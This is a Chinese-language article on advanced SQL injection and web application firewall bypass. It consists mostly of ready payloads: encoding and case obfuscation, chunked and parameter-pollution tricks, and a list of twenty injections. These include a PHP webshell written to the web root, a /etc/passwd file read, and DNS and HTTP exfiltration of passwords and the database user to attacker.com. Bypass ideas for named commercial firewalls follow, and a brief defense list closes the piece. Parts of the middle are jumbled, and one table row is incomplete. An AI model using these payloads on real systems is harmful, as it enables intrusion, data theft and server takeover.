目录
[1. 编码混淆绕过](#1. 编码混淆绕过)
[2. 利用协议特性](#2. 利用协议特性)
[3. 利用数据库特性](#3. 利用数据库特性)
[4. 混淆与变形](#4. 混淆与变形)
[5. 利用WAF规则缺陷](#5. 利用WAF规则缺陷)
[6. 协议与数据库结合](#6. 协议与数据库结合)
[7. 编码与混淆叠加](#7. 编码与混淆叠加)
[8. 利用WAF性能限制](#8. 利用WAF性能限制)
[9. 利用WAF配置错误](#9. 利用WAF配置错误)
[10. 协议与编码深度结合](#10. 协议与编码深度结合)
[1. ModSecurity](#1. ModSecurity)
[2. Cloudflare WAF](#2. Cloudflare WAF)
[3. AWS WAF](#3. AWS WAF)
[4. F5 BIG-IP ASM](#4. F5 BIG-IP ASM)
SQL注入高级绕过手法与WAF绕过技术
SQL注入攻击已从简单的' OR 1=1
演变为结合协议特性、数据库特性、编码混淆等多维攻击的复杂技术。攻击者通过创新Payload,绕过Web应用防火墙(WAF)和传统防火墙的检测。
一、高级SQL注入绕过手法
1. 编码混淆绕过
原理 :通过编码转换(如URL、Unicode、HTML实体)改变Payload形式,绕过WAF对关键字或字符的检测。 方法:
-
URL编码 :
'
变为%27
,空格变为%20
。 -
Unicode编码 :
'
变为%u0027
。 -
HTML实体 :
'
变为'
。 -
多重编码 :多次嵌套编码,如
%27
再编码为%2527
。 示例: -
原始:
' OR 1=1 --
-
编码后:
%27%20OR%201%3D1%20--
-
多重编码:
%25%32%37%20OR%201%3D1
绕过WAF:许多WAF只解码一次或不处理多重编码,导致Payload未被识别。
2. 利用协议特性
原理 :利用HTTP协议特性(如分块传输、参数污染)分散或隐藏Payload。 方法:
-
分块传输编码:将Payload分段发送,WAF可能无法重组。
-
HTTP参数污染 :重复参数(如
id=1&id=2
),WAF可能只检查首个参数。 -
非标准HTTP方法 :使用
TRACE
或OPTIONS
,避开WAF检测范围。 示例: -
分块传输:
POST /vulnerable HTTP/1.1 Transfer-Encoding: chunked 1 ' 6 OR 1=1 0
-
参数污染:
?id=1&id=' OR 1=1 --
绕过WAF:WAF可能不解析分块数据或忽略重复参数。
3. 利用数据库特性
原理 :利用数据库特有语法或函数,构造WAF未覆盖的Payload。 方法:
-
MySQL :用
/**/
代替空格,或调用CHAR()
函数。 -
SQL Server :用
EXEC
执行动态SQL。 -
Oracle :用
UNION ALL
替代UNION
。 示例: -
MySQL:
id=1/**/UNION/**/SELECT/**/1,2,3--
-
SQL Server:
id=1; EXEC('SELECT * FROM users')--
-
Oracle:
id=1 UNION ALL SELECT NULL, NULL, NULL FROM dual--
绕过WAF:WAF规则可能未针对特定数据库优化。
4. 混淆与变形
原理 :通过大小写变化、注释插入或等价函数,改变Payload结构。 方法:
-
大小写混淆 :
SELECT
变为SeLeCt
。 -
注释插入 :
SELECT
变为SEL/**/ECT
。 -
等价函数 :用
SUBSTRING
替代SUBSTR
。 -
冗余关键词 :
UNUNIONION
替代UNION
。 示例: -
原始:
id=1 UNION SELECT 1,2,3--
-
变形:
id=1 UnIoN/**/SeLeCt/**/1,2,3--
绕过WAF:变形后的Payload可能不匹配WAF正则规则。
5. 利用WAF规则缺陷
原理 :针对WAF规则盲点,构造未被拦截的Payload。 方法:
-
绕过黑名单 :使用未列入黑名单的函数(如
CHAR()
)。 -
触发误判 :添加无害逻辑(如
AND 1=2
),降低威胁评分。 示例 :id=1 AND 1=2 UNION SELECT 1,2,3--
绕过WAF:WAF可能误判为无害请求。
6. 协议与数据库结合
原理 :结合HTTP协议和数据库特性,构造复杂Payload。 方法:
-
HTTP头注入 :在
User-Agent
或Referer
中注入。 -
存储过程 :调用数据库内置过程。 示例:
-
User-Agent: ' OR 1=1 --
-
id=1; CALL malicious_proc()--
绕过WAF:WAF可能未检测非标准字段或存储过程。
7. 编码与混淆叠加
原理 :结合编码和混淆技术,增加Payload复杂性。 方法:
-
多重编码+注释 :URL编码后插入
/**/
。 -
数据库函数 :用
CHAR()
表示字符。 示例 :id=1 UNION SELECT CHAR(0x31),CHAR(0x32),CHAR(0x33)--
绕过WAF:复杂Payload超出WAF解析能力。 -
SQL注入是一种严重的安全威胁,攻击者通过注入恶意SQL代码操纵数据库。当前,最新技术如多重编码注入和高级检测方法在实际工作中至关重要。以下按用户需求详细分析多重编码注入和漏洞发现流程。
一、多重编码注入的实际工作流程
多重编码注入通过多次编码Payload,增加复杂性,绕过WAF检测。在实际工作中,流程如下:
二、不同数据库的多重编码支持
不同数据库对编码的支持如下表所示,攻击者需根据目标数据库选择合适编码方式:
数据库 | 支持的编码方式 | 多重编码示例 | 实际应用场景 |
---|---|---|---|
MySQL | URL编码、十六进制(0xhex_string)、CHAR() | %2527%20or%201%253D1%2520--,CHAR(39) OR 1=1 -- | 登录表单,URL参数,适合WAF绕过 |
SQL Server | 十六进制(0xhex_string)、CHAR() | 0x27 or 1=1 --,CHAR(39) OR 1=1 -- | 管理后台接口,需抓包测试 |
Oracle | CHR()、TO_CHAR() | CHR(39) | |
PostgreSQL | E'\xhex_string'、chr() | E'\x27 or 1=1 --' | 高级查询功能,适合盲注场景 |
-
识别输入点:使用工具如Burp Suite或Fiddler,扫描应用的所有用户输入字段,包括表单、URL参数、Cookie和HTTP头。
-
构造多重编码Payload
:
-
首先URL编码,例如单引号'变为%27,空格变为%20,构造如%27%20OR%201%3D1%20--。
-
再进行双重编码,例如%27变为%2527,组合成%2527%2520OR%25201%253D1%2520--。
-
结合数据库函数,如MySQL的CHAR(39) OR 1=1 --,或Oracle的CHR(39)|| ' or 1=1 --'。
-
-
测试和观察:发送Payload至目标字段,观察页面是否返回异常数据、登录成功或触发错误信息,确认注入效果。
-
数据库适配:根据目标数据库选择编码方式。例如,MySQL支持URL和十六进制编码,SQL Server支持CHAR()函数,Oracle用CHR(),PostgreSQL用E'\xhex_string'。需确保Payload与数据库兼容。
-
MySQL:支持广泛,CHAR()函数可动态生成字符,如CHAR(39)表示单引号,适合多重编码绕过。
-
SQL Server:十六进制编码0x27直接表示单引号,CHAR()函数类似MySQL,适合高安全环境。
-
Oracle:CHR()函数需结合字符串连接符||,适合复杂查询场景。
-
PostgreSQL:E'\xhex_string'格式需注意转义,适合盲注和带外注入。
8. 利用WAF性能限制
原理 :通过超长或大量Payload,耗尽WAF资源。 方法:
-
超长Payload:构造数百字符的请求。
-
高频请求 :触发性能瓶颈。 示例 :
id=1 UNION SELECT 1,2,3...(重复数百次)
绕过WAF:WAF可能在高负载下放行。
9. 利用WAF配置错误
原理 :WAF未启用规则或例外路径可被利用。 方法:
-
探测规则:测试响应推断WAF配置。
-
例外路径 :针对
/admin/*
等未防护路径。 示例 :/admin/?id=1 UNION SELECT 1,2,3--
绕过WAF:利用配置漏洞。
10. 协议与编码深度结合
原理 :分散Payload至URL、Body、Header,WAF难以完整检测。 方法:
-
分散注入:URL和Body各含部分Payload。
-
文件上传 :在
multipart/form-data
中注入。 示例: -
URL:
id=1 UNION
-
Body:
SELECT 1,2,3--
绕过WAF:WAF未关联完整Payload。
二、混淆注入Payload(20个)
以下是20个精心设计的Payload,针对最新WAF和防火墙(如Cloudflare、ModSecurity等):
-
%27%20UNION%20SELECT%201,2,3--
(URL编码) -
%u0027%20OR%201=1--
(Unicode编码) -
' OR 1=1 --
(HTML实体编码) -
'/**/UNION/**/SELECT/**/1,2,3--
(MySQL注释混淆) -
'; EXEC('SELECT * FROM users')--
(SQL Server动态SQL) -
UNION ALL SELECT NULL, NULL, NULL FROM dual--
(Oracle特性) -
UnIoN SeLeCt 1,2,3--
(大小写混淆) -
UNUNIONION SELECT 1,2,3--
(冗余关键词) -
User-Agent: ' OR 1=1 --
(HTTP头注入) -
%2527%2520OR%25201%3D1%2523
(多重编码,原始:' OR 1=1#
) -
UNION SELECT 1,0x61646D696E--
(十六进制编码,admin
) -
?id=1&id=' UNION SELECT 1,@@version --
(参数污染) -
{"username": {"$ne": ""}, "password": {"$ne": ""}}
(NoSQL注入) -
' UNION SELECT 1,LOAD_FILE('/etc/passwd')--
(文件读取) -
'; SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'--
(WebShell写入) -
' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\test')))--
(DNS OOB) -
SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT SYS_CONTEXT('USERENV','CURRENT_USER') FROM DUAL)) FROM DUAL;
(Oracle HTTP请求) -
' AND ExtractValue(1, CONCAT(0x3a, (SELECT schema_name FROM information_schema.schemata LIMIT 1)))--
(报错注入) -
query { user(id: "1' UNION SELECT password FROM users -- ") { id } }
(GraphQL注入) -
' ANd/**/1=(sEleCT 1 FRoM/**/users WHERe/**/SUBSTRING(name,1,1)=0x41)--
(复杂混淆)
三、市面上常见的WAF工具及绕过思路
1. ModSecurity
特点 :开源WAF,支持复杂规则。 绕过思路:
-
使用多重编码(如
%2527
)或MySQL特有注释(如/**/
)。 -
构造未列入黑名单的函数(如
CHAR()
)。
2. Cloudflare WAF
特点 :云端防护,规则更新频繁。 绕过思路:
-
通过CDN节点发送Payload,绕过集中检测。
-
模拟业务逻辑(如伪装成正常表单提交)。
3. AWS WAF
特点 :与AWS集成,支持自定义规则。 绕过思路:
-
利用未启用SQL注入防护的规则漏洞。
-
结合AWS服务(如Lambda)触发间接注入。
4. F5 BIG-IP ASM
特点 :企业级WAF,深度检测能力强。 绕过思路:
-
发送超长Payload或分块传输,消耗性能。
-
利用HTTP非标准特性(如
TRACE
方法)。
四、最喜欢的WAF规则及绕过手法
最喜欢的WAF规则
-
SQL注入通用规则 :检测
UNION SELECT
、OR 1=1
等关键字。- 原因:覆盖广泛,适用于多种场景。
-
行为分析规则:监控异常请求频率或模式。
- 原因:能识别自动化攻击。
绕过手法
-
通用规则绕过 :使用编码(如
%27
)、混淆(如/**/
)或数据库函数(如CHAR()
)。 -
行为分析绕过:模拟正常用户行为,降低请求频率,分散Payload。
五、总结
SQL注入已发展为多维攻击,结合编码混淆、协议特性、数据库特性等技术,挑战WAF防护能力。ModSecurity、Cloudflare、AWS WAF、F5 BIG-IP ASM等工具各有优势,但规则盲点、性能限制及配置漏洞仍可被利用。
防御建议:
-
输入验证:严格过滤用户输入。
-
参数化查询:避免SQL拼接。
-
权限控制:限制数据库操作范围。
-
更新WAF规则:覆盖最新攻击手法。